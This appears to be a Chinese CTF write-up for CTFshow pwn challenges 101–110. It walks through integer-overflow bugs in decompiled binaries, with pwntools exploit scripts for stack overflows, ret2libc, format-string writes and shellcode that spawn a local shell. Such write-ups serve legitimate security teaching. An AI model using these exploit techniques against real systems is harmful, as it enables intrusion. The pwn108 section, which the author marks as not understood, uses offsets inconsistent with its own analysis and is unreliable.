pwn101 Hint:还是简单的知识 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
还是64位保护全开
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { unsigned int v4; int n0x7FFFFFFF; unsigned __int64 v6; v6 = __readfsqword(0x28u ); init(argc, argv, envp); logo(); puts ("Maybe these help you:" ); useful(); v4 = 0x80000000 ; n0x7FFFFFFF = 0x7FFFFFFF ; printf ("Enter two integers: " ); if ( (unsigned int )__isoc99_scanf("%d %d" , &v4, &n0x7FFFFFFF) == 2 ) { if ( v4 == 0x80000000 && n0x7FFFFFFF == 0x7FFFFFFF ) gift(); else printf ("upover = %d, downover = %d\n" , v4, n0x7FFFFFFF); return 0 ; } else { puts ("Error: Invalid input. Please enter two integers." ); return 1 ; } }
一个很简单的逻辑,先看到有一个useful函数,然后给v4和v5赋值为 0x80000000,0x7FFFFFFF,再提示用户输入两个整数,并将它存储在变量v4和v5中,返回值被强制转换为无符号数,然后与2进行比较。满足后进入下一个if语句,不满足则输出错误信息。如果输入的两个整数分别等于v4跟v5的初始值,则进入这个条件分支,有一个gift函数。如果输入的两个整数不是初始值,则输出这两个数的值。
分别跟进几个不知道干啥的函数useful:
int useful () { puts (" ====================================================================================================" ); puts (" Type | Byte | Range " ); puts (" ====================================================================================================" ); puts (" short int | 2 byte | 0~0x7fff 0x8000~0xffff " ); puts (" unsigned short int | 2 byte | 0~0xffff " ); puts (" int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff " ); puts (" unsigned int | 4 byte | 0~0xffffffff " ); puts (" long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff" ); puts (" unsigned long int | 8 byte | 0~0xffffffffffffffff " ); return puts (" ====================================================================================================" ); }
这里的0 ~ 0x7fffffff 就是 0~2147483647 ,
0x80000000 ~ 0xffffffff 就是 -2147483648 ~ -1
gift:
int gift () { puts ("This is the first question of this type" ); puts ("Here is you want:" ); return system("cat /ctfshow_flag" ); }
那么就很简单了只要我们输入的数等于它的初始值满足此条件即可
输入-2147483648 2147483647
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Integer_Overflow * Site : https://ctf.show/ * Hint : Learn something first ! * ************************************* Maybe these help you: ==================================================================================================== Type | Byte | Range ==================================================================================================== short int | 2 byte | 0~0x7fff 0x8000~0xffff unsigned short int | 2 byte | 0~0xffff int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff unsigned int | 4 byte | 0~0xffffffff long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff unsigned long int | 8 byte | 0~0xffffffffffffffff ==================================================================================================== Enter two integers: -2147483648 2147483647 This is the first question of this type Here is you want: flag{just_test_my_process}
from pwn import *context.log_level = 'debug' io = process('./pwn' ) payload = b"-2147483648 2147483647" io.sendlineafter(b"Enter two integers: " ,payload) io.interactive()
pwn102 Hint:还是简单的知识 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
还是64位保护全开
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { int v4; unsigned __int64 v5; v5 = __readfsqword(0x28u ); init(argc, argv, envp); logo(); puts ("Maybe these help you:" ); useful(); v4 = 0 ; printf ("Enter an unsigned integer: " ); __isoc99_scanf("%u" , &v4); if ( v4 == -1 ) gift(); else printf ("Number = %u\n" , v4); return 0 ; }
可以看到,在保护全开的时候,其实一般程序逻辑都非常简单,这里在IDA中甚至直接告诉我们让v4 =
-1 就会进入gift函数(选中-1按快捷键 ‘H’):→v4 == 0xFFFFFFFF→v4 == 4294967295
这里v4是一个无符号整数,并将其存储在变量v4中,这里可以发现在无符号整数上下文中,-1 对应的二进制表示为 0xFFFFFFFF,也就是 4294967295
$ ./pwn ... Enter an unsigned integer : -1 This is the second question of this type Here is you want: flag{just_test_my_process}
from pwn import *context.log_level = 'debug' io = process('./pwn' ) io.sendline(b'4294967295' ) io.interactive()
pwn 103 Hint:看着好像还是不难 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
还是64位保护全开
IDA查看main函数,跟进ctfshow函数:
int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); puts ("Maybe these help you:" ); useful(); ctfshow(); return 0 ; } unsigned __int64 ctfshow () { int n; void *src; _BYTE dest[88 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); n = 0 ; src = 0 ; printf ("Enter the length of data (up to 80): " ); __isoc99_scanf("%d" , &n); if ( n <= 80 ) { printf ("Enter the data: " ); __isoc99_scanf(" %[^\n]" , dest); memcpy (dest, src, n); if ( (unsigned __int64)dest > 0x1BF52 ) gift(); } else { puts ("Invalid input! No cookie for you!" ); } return __readfsqword(0x28u ) ^ v4; } int gift () { puts ("This is the third question of this type" ); puts ("Here is you want:" ); return system("cat /ctfshow_flag" ); }
逻辑还是很简单,满足其条件进入gift函数即可
关键逻辑分析:
(1)memcpy(dest, src, n)的陷阱:
src被初始化为NULL(空指针),因此memcpy实际是从NULL 指针地址 复制n字节到dest。这是一个危险操作:
当n > 0时:从 NULL 指针(内存地址 0 附近)读取数据会触发段错误(Segment Fault) ,程序直接崩溃,无法执行到后续的判断逻辑。
当n = 0时:memcpy不执行任何操作(复制 0 字节),dest中保留用户输入的数据,程序可正常执行到判断逻辑。
(2)触发gift()的条件:(unsigned __int64)dest > 0x1BF52
这里的关键是理解dest的含义:dest是数组名,在表达式中会被转换为指向数组首元素的指针 (即dest的内存地址)。因此条件实际是判断:dest数组的首地址是否大于0x1BF52(十进制 126802)。
但在现代系统中,栈内存地址通常远大于0x1BF52(例如 x86_64 系统栈地址常在0x7fffffffxxxx范围),因此只要程序不崩溃,该条件默认成立 。
因此:
输入数据长度n = 0
输入任意数据(长度无要求,因为n=0时dest保留输入内容,不影响地址判断)。
from pwn import *context.log_level = 'debug' io = process('./pwn' ) io.sendline(b'0' ) io.sendline(b'a' ) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 90 [*] Switching to interactive mode Enter the length of data (up to 80): Enter the data: This is the third question of this type Here is you want: flag{just_test_my_process}
pwn 104 Hint:有什么是可控的? 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位程序关闭Canary与PIE,部分开启RELRO
IDA查看main函数,跟进ctfshow函数:
int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); ctfshow(); return 0 ; } ssize_t ctfshow () { _BYTE buf[10 ]; size_t nbytes; LODWORD(nbytes) = 0 ; puts ("How long are you?" ); __isoc99_scanf("%d" , &nbytes); puts ("Who are you?" ); return read(0 , buf, (unsigned int )nbytes); }
buf的大小固定为 10 字节,但nbytes由用户控制,且没有任何限制
当用户输入的nbytes > 10时,read函数会向buf写入超过其容量的数据,导致栈缓冲区溢出 。
看到程序中还有后门函数:
int that () { return system("/bin/sh" ); }
简单来说我们只需要先利用&nbytes控制溢出长度,然后再使用buf实现溢出控制程序到后门函数即可。
$ ROPgadget --binary ./pwn | grep "ret" 0x000000000040055e : ret
from pwn import *context.log_level = 'debug' io = process('./pwn' ) that = 0x40078d ret = 0x40055e io.sendlineafter(b'How long are you?' ,b'255' ) payload=b'a' *(0xe +8 )+p64(ret)+p64(that) io.sendlineafter(b'Who are you?' ,payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 168 [*] Switching to interactive mode $ ls ctfshow_flag
pwn 105 Hint:看着好像没啥问题 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位关闭Canary 与PIE
IDA查看main函数:
int __cdecl main (int argc, const char **argv, const char **envp) { char buf[1024 ]; int *p_argc; p_argc = &argc; init(); logo(); puts ("[+] Check your permissions:" ); read(0 , buf, 0x400u ); ctfshow(buf); puts ("wtf" ); return 0 ; }
看这没啥漏洞,读入0x400,buf大小明显是大于0x400的,跟进ctfshow:
char *__cdecl ctfshow (char *s) { char dest[8 ]; unsigned __int8 n3; n3 = strlen (s); if ( n3 <= 3u || n3 > 8u ) { puts ("Authentication failed!" ); exit (-1 ); } printf ("Authentication successful, Hello %s" , s); return strcpy (dest, s); }
可以读入0x400进入buf,要满足条件3<n3<=8才能绕过判断执行strcpy,可以发现dest的栈只有0x11,所以这里存在栈溢出,可以发现n3是无符号整形的数据,__int8意味着只能存8位的数字转换成十进制就是0~255,这256个字节超出部分就截断了,但是read却可以读0x400进去所以可以利用整形溢出来bypass这个if条件
unsigned __int8 的本质: unsigned __int8 是 8 位无符号整数,它的取值范围是 0~255(因为 2⁸-1=255)。 当给它赋值超过 255 的数时,会发生 截断 —— 只保留二进制的最后 8 位(低 8 位),相当于 值 % 256。 例如: 256 的二进制是 100000000(9 位),截断后保留低 8 位 00000000 → 对应十进制 0 257 的二进制是 100000001,截断后保留低 8 位 00000001 → 对应十进制 1 258 → 低 8 位 00000010 → 十进制 2 ... 256 + n → 低 8 位是 n 的二进制 → 对应十进制 n(当 n < 256 时)
这里只需要满足它的条件(长度260[0x104])即可进行溢出了
dest 的大小是 0x11,加上 ebp 的 0x4,所以需要在前面填充 0x15h
继续查看发现程序中还是存在后门函数:
int success () { return system("/bin/sh" ); }
那么这里就是一个短整数溢出加上一个栈溢出的简单利用了
from pwn import *context.log_level ="debug" io = process("./pwn" ) elf = ELF("./pwn" ) shell = elf.sym['success' ] payload = b'a' *(0x11 +4 ) + p32(shell) payload = payload.ljust(0x104 ,b'a' ) payload += b'\x00' io.sendafter(b'permissions:' ,payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 226 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode Authentication successful, Hello aaaaaaaaaaaaaaaaaaaaa\x0e\x87\x04\x08aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ls ctfshow_flag
pwn 106 Hint:还是非常简单 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位关闭Canary与PIE
IDA查看main函数:
int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; int p_n2; int *p_argc; p_argc = &argc; init(); logo(); puts ("1.login" ); puts ("2.quit" ); printf ("Your choice:" ); __isoc99_scanf("%d" , &p_n2, v4, v5); if ( p_n2 == 1 ) { login(p_argc); } else { if ( p_n2 == 2 ) { puts ("Bye~" ); exit (0 ); } puts ("Invalid Choice!" ); } return 0 ; }
给出一个小菜单,登录或者退出,看逻辑我们需要先登录,也就是输入1,进入if语句,跟进login函数:
int __cdecl login () { _BYTE s[40 ]; char buf[516 ]; memset (s, 0 , sizeof (s)); memset (buf, 0 , 0x200u ); puts ("Please input your username:" ); read(0 , s, 0x19u ); printf ("Hello %s\n" , s); puts ("Please input your passwd:" ); read(0 , buf, 0x199u ); return check_passwd(buf); }
然后让输入username 跟 passwd,这里看着也啥问题,跟进check_passwd():
char *__cdecl check_passwd (char *s) { char dest[11 ]; unsigned __int8 n3; n3 = strlen (s); if ( n3 > 3u && n3 <= 8u ) { puts ("Success" ); fflush(stdout ); return strcpy (dest, s); } else { puts ("Invalid Password" ); return (char *)fflush(stdout ); } }
跟上一题一样的,逻辑稍微变了一点,但是整体来说换汤不换药。
查看存在后门函数:
int fffflag () { return system("cat /ctfshow_flag" ); }
from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = process('./pwn' ) elf = ELF('./pwn' ) cat_flag = elf.sym['fffflag' ] io.sendlineafter(b'Your choice:' ,b'1' ) io.sendlineafter(b'username:' ,b'rhea' ) payload = cyclic(0x14 +4 )+p32(cat_flag) payload = payload.ljust(0x104 ,b'a' ) payload += b'\x00' io.sendline(payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 286 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode Hello rhea Please input your passwd: Success flag{just_test_my_process} [*] Got EOF while reading in interactive
pwn 107 Hint:类型转换 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位关闭Canary跟PIE
IDA查看main函数,直接跟进show函数:
int __cdecl main (int argc, const char **argv, const char **envp) { setvbuf(stdout , 0 , 2 , 0 ); return show(); } int show () { char nptr[32 ]; int n4; printf ("How many bytes do you want me to read? " ); getch(nptr, 4 ); n4 = atoi(nptr); if ( n4 > 32 ) return printf ("No! That size (%d) is too large!\n" , n4); printf ("Ok, sounds good. Give me %u bytes of data!\n" , n4); getch(nptr, n4); return printf ("You said: %s\n" , nptr); }
继续跟进getch:
char *__cdecl getch (char *p_nptr, unsigned int n4) { unsigned int n4_2; char *result; char char ; unsigned int n4_1; for ( n4_1 = 0 ; ; ++n4_1 ) { char = getchar(); if ( !char || char == 10 || n4_1 >= n4 ) break ; n4_2 = n4_1; p_nptr[n4_2] = char ; } result = &p_nptr[n4_1]; p_nptr[n4_1] = 0 ; return result; }
漏洞:有符号整数与无符号整数的转换问题
n4 在 show 函数中是 int 类型 (有符号),但 getch 函数的第二个参数是 unsigned int 类型 (无符号)。
当用户输入一个能让atoi返回负数的字符串(例如输入-1)时:
n4 会被解析为 -1(有符号整数)。
检查 n4 > 32 时,-1 > 32 为假,绕过限制检查。
调用 getch(nptr, n4) 时,n4(-1)会被转换为 unsigned int 类型,在 32 位系统中结果为 0xFFFFFFFF(约 42 亿),即允许读取远超 32 字节 的内容。
利用思路:
一开始输入负数,绕过长度限制,造成溢出
利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址
溢出覆盖返回地址去执行system(‘/bin/sh’)
首先在getch中读入长度被强制转换为unsigned int,此时-1变成了4294967295。使得我们 能够进行缓冲区溢出攻击,后面的就是常规的ret2libc了这里就不再赘述了。
from pwn import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) main = elf.symbols['main' ] printf_plt = elf.plt['printf' ] printf_got = elf.got['printf' ] io.sendlineafter(b'read? ' ,b'-1' ) io.recvuntil(b'bytes of data!\n' ) payload = cyclic(0x2c +4 ) + p32(printf_plt) + p32(main) + p32(printf_got) io.sendline(payload) io.recvuntil(b'\n' ) printf = u32(io.recv(4 )) print (hex (printf))libc_base = printf - libc.sym['printf' ] system = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search(b"/bin/sh" )) io.sendlineafter(b'read? ' ,b'-1' ) io.recvuntil(b'bytes of data!\n' ) payload = cyclic(0x2c +4 ) + p32(system) + p32(main) + p32(bin_sh) io.sendline(payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 342 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 0xf711adb0 [*] Switching to interactive mode You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa04\x11\xf7\xb8\x85\x04\x08\xe8}(\xf7 $ ls ctfshow_flag
pwn 108(不懂) Hint:学累了吧,来玩个游戏 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
64位保护全开
IDA查看main函数:
__int64 __fastcall main (__int64 a1, char **a2, char **a3) { int n2; int n2_1; __int64 v6; _BYTE v7[3 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); sub_9BA(a1, a2, a3); sub_A55(); puts ("Free shooting games! Three bullets available!" ); printf ("I placed the target near: %p\n" , &puts ); puts ("shoot!shoot!" ); v6 = sub_B78(); for ( n2 = 0 ; n2 <= 2 ; ++n2 ) { puts ("biang!" ); read(0 , &v7[n2], 1u ); getchar(); } if ( (unsigned int )sub_BC2(v7) ) { for ( n2_1 = 0 ; n2_1 <= 2 ; ++n2_1 ) *(_BYTE *)(n2_1 + v6) = v7[n2_1]; } if ( !dlopen(0 , 1 ) ) exit (1 ); puts ("bye~" ); return 0 ; }
跟进sub_B78():
__int64 sub_B78 () { char nptr[24 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); sub_AE3(nptr, 16 ); return atol(nptr); }
我们可以控制v6的值,以及v7[n2_1],并且程序打印了puts函数的真实地址,相当于拿到了libc基址。也就是任意地址任意写。
跟进sub_BC2:
__int64 __fastcall sub_BC2 (_BYTE *a1) { if ( (*a1 != 0xC5 || a1[1 ] != 0xF2 ) && (*a1 != 34 || a1[1 ] != 0xF3 ) && *a1 != 0x8C && a1[1 ] != 0xA3 ) return 1 ; puts ("You always want a Gold Finger!" ); return 0 ; }
不允许数组的前两个元素同时为 0xc5 和 0xf2 ,或者 0x22 和 0xf3 ,或者 0x8c 和 0xa3
简单来说就是限制了gadget:
$ one_gadget ./libc-database/db/libc6_2.27-3ubuntu1_amd64.so 0x4f2be execve("/bin/sh" , rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, "-c" , r12, NULL} is a valid argv 0x4f2c5 execve("/bin/sh" , rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, rax, r12, NULL} is a valid argv 0x4f322 execve("/bin/sh" , rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv 0x10a38c execve("/bin/sh" , rsp+0x70, environ) constraints: [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
有两种方法,要么使用现有 one_gadget 中已有可用选项
0x4f2be 的前两字节 0xbe 0xf2 完全符合 sub_BC2 的校验规则(不触发任何禁忌),因此无需调整地址,可直接使用 。
其约束条件为:
rsp+0x50 可写
rsp & 0xf == 0(栈对齐)
rcx == NULL 或 {rcx, "-c", r12, NULL} 是有效 argv
还有一种方法是将one_gadget地址减5,以此来绕过检查 利用exit hook劫持 exit函数的调用流程exit函数--->*run_exit_handlers**函数**--->dl_fini**函数**--->* *_dl_rtld_lock_recursive**指 针(这是个结构体指针变量) 而*dl_rtld_lock_recursive这个指针又指向了 **rtld_lock_default_lock_recursive** **最后又执行了** rtld_lock_default_lock_recursive 因此我们就把这个_dl_rtld_lock_recursive指针当做跳板,去将它指向的内容 (__rtld_lock_default_lock_recursive)也就是修改为one_gadget。 先简单了解一下,后续在堆中会更加详细讲解相关内容。
from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1_amd64.so' ) io.recvuntil(b'0x' ) puts_addr = int (io.recv(12 ),16 ) libc_base = puts_addr - libc.sym['puts' ] strlen = libc_base + 0x3eb0a8 sss = str (strlen).encode() io.sendline(sss) one_gadget = libc_base + 0xe54fe for _ in range (3 ): io.sendlineafter(b"biang!\n" , chr (one_gadget & 0xff )) one_gadget = one_gadget >> 8 io.interactive()
pwn 109 Hint:多种姿势 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled Stack: Executable RWX: Has RWX segments
32位关闭Canary与NX有可读可写可执⾏的段,第⼀反应还是还是shellcode打
IDA查看程序逻辑,依据函数功能修改函数名后如下:
int __cdecl main (int argc, const char **argv, const char **envp) { int p_n2; char buf[1024 ]; int *p_argc; p_argc = &argc; init(); logo(); while ( 1 ) { while ( 1 ) { puts ("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!" ); __isoc99_scanf("%d" , &p_n2); getchar(); if ( p_n2 != 2 ) break ; printf_w(buf); } if ( p_n2 == 3 ) break ; if ( p_n2 == 1 ) leak_buf(buf, 0x400u ); else printf ("What do you mean by %d" , p_n2); } puts ("See you~" ); return 0 ; }
发现有⼀个格式化字符串漏洞,还会将栈地址泄漏出来:
int __cdecl printf_w (char *format) { return printf (format); } ssize_t __cdecl leak_buf (void *buf, size_t nbytes) { printf ("%x\n" , buf); return read(0 , buf, nbytes); }
那么我们只需要在栈上部署好shellcode,再利⽤格式化字符串漏洞更改main函数地址返回到shellcode即可。
$ gdb pwn pwndbg> r What you want to do? 1) Input someing! 2) Hang out!! 3) Quit!!! 1 ffb201a0 ^C ► 0 0xebd83579 __kernel_vsyscall+9 #系统调用层 1 0xebc4c9d7 read+55 #正在执行read函数,读取输入到buf 2 0x58d268db None #这应该是你重命名的`leak_buf`函数,因为它调用了read 3 0x58d2698e None #这应该是`main`函数,因为`leak_buf`被main调用 ... ────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> frame 3 #切换到main函数的栈帧 #3 0x58d2698e in ?? () pwndbg> info frame Stack level 3, frame at 0xffb205c0: eip = 0x58d2698e; saved eip = 0xebb5acb9 called by frame at 0xffb20620, caller of frame at 0xffb20180 Arglist at 0xffb205a8, args: Locals at 0xffb205a8, Previous frame's sp is 0xffb205c0 Saved registers: ebx at 0xffb205a4, ebp at 0xffb205a8, eip at 0xffb205bc pwndbg> x/x $ebp + 4 #$ebp是上一步得到的main栈帧基地址(标准理论返回地址位置) 0xffb205ac: 0xebb5acb9 pwndbg> x/x $ebp + 0x14 #实际生效的返回地址位置 0xffb205bc: 0xebb5acb9
偏移量 = 返回地址(ret_addr) - buf 地址(ffb201a0)
0xffb205bc - 0xffb201a0 = 0x41c
中间的0x10字节(0xffb205ac到0xffb205bc)很可能存储了 4 个被保存的寄存器(如ebx、esi、edi、edx),而函数在返回前通过调整栈指针(esp),使得ret指令最终读取的是$ebp + 0x14处的复制值,而非原始的$ebp + 4处的值。
from pwn import *context.log_level = 'debug' io = process('./pwn' ) io.sendlineafter(b'Quit!!!\n' ,b'1' ) stack = int (io.recvuntil(b'\n' ),16 ) ret = stack + 0x41c payload = fmtstr_payload(16 ,{ret:stack}) io.sendline(payload) io.sendlineafter(b'Quit!!!\n' ,b'2' ) io.sendlineafter(b'Quit!!!\n' ,b'1' ) io.sendline(asm(shellcraft.sh())) io.sendlineafter(b'Quit!!!\n' ,b'3' ) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 265 [*] Switching to interactive mode See you~ $ ls ctfshow_flag
pwn 110 Hint:溢出溢出溢出 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位⼏乎保护全关
IDA查看main函数:
int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { init(&argc); logo(); puts ("1+1= ?" ); input(); while ( 1 ) puts (str); }
跟进input函数:
unsigned __int16 *input () { __int16 n1024; _BYTE buf[1025 ]; unsigned __int16 n1024_1; strcpy (buf, "???" ); *(_DWORD *)&buf[4 ] = 0 ; *(_DWORD *)&buf[1021 ] = 0 ; memset (&buf[7 ], 0 , 4 * (((&buf[4 ] - &buf[7 ] + 1021 ) & 0xFFFFFFFC ) >> 2 )); __isoc99_scanf("%hd" , &n1024); if ( n1024 > 1024 ) { puts ("You are soooooooooo ******" ); exit (0 ); } n1024_1 = n1024; printf ("%x %u\n" , buf, (unsigned __int16)n1024); read(0 , buf, n1024_1); qmemcpy(str, buf, 0x400u ); unk_804B460 = buf[1024 ]; return &n1024_1; }
核心漏洞总结:
整数溢出 :通过输入-1(作为int16_t),转换为uint16_t后变成65535,绕过n1024 <= 1024的限制,允许读取远超buf大小的数据。
栈溢出 :read函数按65535字节写入buf(仅 1025 字节大小),会覆盖栈上的返回地址。
地址泄露 :printf直接打印buf的栈地址,为跳转执行 shellcode 提供了import目标地址。
有符号整数与无符号整数的二进制表示方式不同,且转换时二进制位本身不会改变,只会改变解读方式。 具体原理: int16_t(16 位有符号整数)如何表示 - 1? 计算机中,有符号整数用「二进制补码」表示: 正数的补码 = 原码(直接表示) 负数的补码 = 绝对值的原码「取反加 1」 对于 - 1(int16_t): 绝对值 1 的 16 位原码是:0000 0000 0000 0001 取反后:1111 1111 1111 1110 加 1 后:1111 1111 1111 1111(二进制补码) 所以,-1 在 int16_t 中存储的二进制是 1111111111111111(十六进制为0xFFFF)。 转换为 uint16_t(16 位无符号整数)时发生了什么? uint16_t 没有符号位,所有 16 位都用于表示数值,范围是0 ~ 65535(2^16 - 1)。 当 int16_t 的 - 1 转换为 uint16_t 时,二进制位不变(仍然是1111111111111111),但解读方式变了: 无符号情况下,1111111111111111 表示的数值是 2^15 + 2^14 + ... + 2^0 = 65535。 总结: -1(int16_t)和65535(uint16_t)的二进制存储完全相同(都是0xFFFF),只是因为「符号解读方式」不同,导致数值看起来发生了变化。 这就是整数溢出漏洞的核心:利用有符号与无符号的转换规则,绕过程序对输入长度的限制(原本限制≤1024,变成了允许 65535 字节输入)。
from pwn import *context.log_level='debug' io = process("./pwn" ) io.recv() io.sendline(b'-1' ) buf = int (io.recv(8 ),16 ) io.recv() payload = asm(shellcraft.sh()).ljust(0x41b +0x4 ,b'A' ) + p32(buf) io.sendline(payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 58 [*] Switching to interactive mode $ ls ctfshow_flag